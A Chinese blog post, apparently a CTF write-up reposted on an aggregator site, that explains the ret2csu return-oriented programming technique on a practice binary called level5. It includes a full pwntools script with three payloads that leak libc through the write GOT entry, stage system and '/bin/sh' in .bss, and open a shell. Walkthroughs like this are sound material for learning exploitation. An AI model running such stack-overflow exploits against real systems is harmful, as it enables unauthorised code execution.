我是靠谱客的博主 难过苗条,最近开发中收集的这篇文章主要介绍pwn中级ROP——ret2csu环境原理漏洞分析payload,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

ret2csu

  • 环境
  • 原理
    • 64位汇编语言函数传参
  • 漏洞分析
    • 反汇编
    • 计算偏移量
  • payload
    • payload1
    • payload2
    • payload3

环境

ret2csu
在其中下载level5即可

原理

64位汇编语言函数传参

在一切开始之前,我们需要先了解一下64位汇编语言调用函数时是如何传参的,它与32位程序并不相同。

32位程序在调用函数时会将参数存入栈中

而64位程序在调用函数时,如果该函数参数少于7个,就会将参数从前往后依次存入rdi, rsi,rdx, rcx, r8, r9寄存器中。
如果该函数参数多于或等于7个,则前六个参数如上存放到寄存器中,剩余的参数会类似于32位程序存入栈中。

所以我们在利用64位程序栈溢出漏洞时,在调用函数之前需要将各个参数存入各个寄存器中才可顺利进行。那么我们该如何给这些寄存器赋值呢?按老样子用ROPgadgets来一个一个查找对应的pop指令吗?且不说能不能找到是个问题,就这样一个一个查找也未免过于麻烦。有没有一种简便的方法呢?

64位程序基本都有的一个函数__libc_csu_init可以帮我们解决这个问题。该函数有段这样的代码:

.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

loc_400616中我们可以控制rbx,rbp,r12,r13,r14,r15(pop指令将栈顶弹入寄存器)
loc_400600中我们可以控制rdx,rsi,edi(间接通过r13,r14,r15来控制),而这里的rdx,rsi,edi正好是函数的前三个参数所需寄存器,不过edi只能控制函数的低32位,但也足以应付大部分函数

所以我们只需要先控制主函数返回到loc_400616,并在栈上从前往后构造每个寄存器想要赋予的值,然后在loc_400624对应的栈填上loc_400600,跳转到这一部分,通过刚才各寄存器构造的参数来给rdx,rsi,edi赋值,在loc_400609运行想要执行的函数,即可成功执行。

需要注意的是,如果我们还想在执行完这一函数后继续运行程序,就需要在loc_400611位置让rbxrbp相等,从而可以顺利执行到loc_400624返回到想要继续进行的函数。否则函数将跳到loc_400600循环执行这一部分。

漏洞分析

反汇编

这道题反汇编代码如下

ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, Worldn", 0xDuLL);
  return vulnerable_function();
}

可以看到在vulnerable_function函数中人read函数存在栈溢出漏洞,在该函数执行之前又执行了一次write函数,且在IDA中函数栏存在_write,所以我们可以利用ELF直接获得write函数GOT表内容并在_write进行输出,获得其GOT值,从而依靠LibcSearcher找到libc的基址,进而找到system函数地址进行提权。(类似于ret2libc3

由于这是x64程序,我们在调用write函数时需要先将其三个参数依次放入rdi, rsi,rdx寄存器中,这时我们__libc_csu_init了。

我们在IDA中点开该函数看一下,相关代码如下

.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0                 mov     rdx, r15
.text:00000000004005F3                 mov     rsi, r14
.text:00000000004005F6                 mov     edi, r13d
.text:00000000004005F9                 call    qword ptr [r12+rbx*8]
.text:00000000004005FD                 add     rbx, 1
.text:0000000000400601                 cmp     rbx, rbp
.text:0000000000400604                 jnz     short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606                 mov     rbx, [rsp+38h+var_30]
.text:000000000040060B                 mov     rbp, [rsp+38h+var_28]
.text:0000000000400610                 mov     r12, [rsp+38h+var_20]
.text:0000000000400615                 mov     r13, [rsp+38h+var_18]
.text:000000000040061A                 mov     r14, [rsp+38h+var_10]
.text:000000000040061F                 mov     r15, [rsp+38h+var_8]
.text:0000000000400624                 add     rsp, 38h
.text:0000000000400628                 retn

可以看到这里与上面原理处写得不太一样,区别就是下面的pop变成了mov,不过问题不大,只需要注意rsp的变化就可以,具体可以见payload

这道题我有两个问题

一个是我们在ret2libc3处可以直接利用libcsystemstr_bin_sh的地址构造payload,但这道题必须先将这两个放入bss段才能够进行调用

一个同样是在ret2libc3处我们是利用的str_bin_sh来作为参数传入system,但这道题我们只能直接用/bin/sh字符串作为参数

这两个问题我还没有搞清楚原因,如果有老哥可以解惑,感激不尽

计算偏移量

x64利用gdb计算偏移量时与x32有所不同
不同之处在于使用cyclic -l的地方,在我们r运行完并输入随机字符后,返回值如下
在这里插入图片描述
这时我们不能直接使用cyclic -l 0x6261616b6261616a来查找对应的位置,而需要使用

cyclic -l 0x6261616a

只能使用后四个字节来查找,如果使用前四个字节会使找到的偏移量多4

payload

# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level="debug"

io = process('./level5')
elf = ELF('./level5')

write_got = p64(elf.got['write'])
start_addr = p64(elf.symbols['_start'])
gadget1_addr = p64(0x400606)
gadget2_addr = p64(0x4005F0)
payload = 'a' * 136 + gadget1_addr + p64(0) + p64(0) + p64(1) + write_got + p64(1) + write_got + p64(8) + gadget2_addr + 'a' * 56 + start_addr
io.recvuntil("Hello, Worldn")
io.send(payload)
write_addr = u64(io.recv(8))
print('send 1')

libc = LibcSearcher("write",write_addr)
libcbase = write_addr - libc.dump("write")
sys_addr = libcbase + libc.dump("system")
bin_sh_addr = libcbase + libc.dump("str_bin_sh")

read_got = p64(elf.got['read'])
bss_addr = elf.bss()
payload2 = 'a' * 136 + gadget1_addr + p64(0) + p64(0) + p64(1) + read_got + p64(0) + p64(bss_addr) + p64(16) + gadget2_addr + 'a' * 56 + start_addr
io.recvuntil("Hello, Worldn")
io.send(payload2)
io.send(p64(sys_addr) + '/bin/sh0')
print('send 2')

payload3 ='a' * 136 + gadget1_addr + p64(0) + p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr + 8) + p64(0) + p64(0) + gadget2_addr + 'a' * 56 + start_addr
io.recvuntil("Hello, Worldn")
io.send(payload3)
print('send 3')

io.interactive()

payload1

地址栈中数据
return前a * 136
main函数return(rsp)0x400606(gadget1)
rsp + 80(填充数据)
rsp + 16(rbx)0
rsp + 24(rbp)1
rsp + 32(r12)write_got_addr
rsp + 40(r13)1
rsp + 48(r14)write_got_addr
rsp + 56(r15)8
gadget1的return0x4005F0(gadget2)
新rspa * 8(填充)
新一轮的movea * 48(填充)
gadget2的returnstart_addr

这里rsp+8处填充0是因为在main函数返回到gadget1处时,rsp会自增8,导致此时rsp + 8处才是真正的rsp位置,这里的rsp只是针对于return处的值。
同理,下面的新rsp也是这个道理。

新一轮的move的意思是,在return之前我没还要进行那六个寄存器的mov操作,也就是上面rsp + 16 ~ rsp + 56这一串操作,这里赋值什么都不影响,我们所要利用的就是return,所以全部随便填充即可。

return返回的地方是start,也就是整个程序开始的地方,方便进行下一步操作

要注意两点

第一点是rbx在这里必须赋值为0,因为我们调用函数时执行的是这一行

.text:00000000004005F9                 call    qword ptr [r12+rbx*8]

rbx为0时才能直接跳到r12处,在第一轮赋值时把r12赋值为想要执行的函数地址即可

第二点是rbx必须为rbp - 1,因为下面这几行

.text:00000000004005FD                 add     rbx, 1
.text:0000000000400601                 cmp     rbx, rbp
.text:0000000000400604                 jnz     short loc_4005F0

想要不循环下去就必须使rbx + 1=rbp

payload2

地址栈中数据
return前a * 136
main函数return(rsp)gadget1
rsp + 80
rsp + 160
rsp + 241
rsp + 32read_got_addr
rsp + 400
rsp + 48bss_addr
rsp + 5616
gadget1的returngadget2_addr
a * 56
gadget2的returnstart_addr

payload2payload1大同小异,就是将要执行的函数替换成了read函数,从而将libc中system函数与/bin/sh字符串放入.bss段中

payload3

地址栈中数据
return前a * 136
main函数return(rsp)gadget1
rsp + 80
rsp + 160
rsp + 241
rsp + 32bss_addr(system函数)
rsp + 40bss_addr + 8(/bin/sh字符串)
rsp + 480
rsp + 560
gadget1的returngadget2_addr
a * 56
gadget2的returnstart_addr

payload3同样与之前的payload没什么大区别,就是运行了system函数来提权。这里后面的填充与gadget2return其实写不写无所谓,因为我们运行到system函数就已经获得了我们想要的结果,后面程序怎么运行与我们无关。

最后

以上就是难过苗条为你收集整理的pwn中级ROP——ret2csu环境原理漏洞分析payload的全部内容,希望文章能够帮你解决pwn中级ROP——ret2csu环境原理漏洞分析payload所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(39)

评论列表共有 0 条评论

立即
投稿
返回
顶部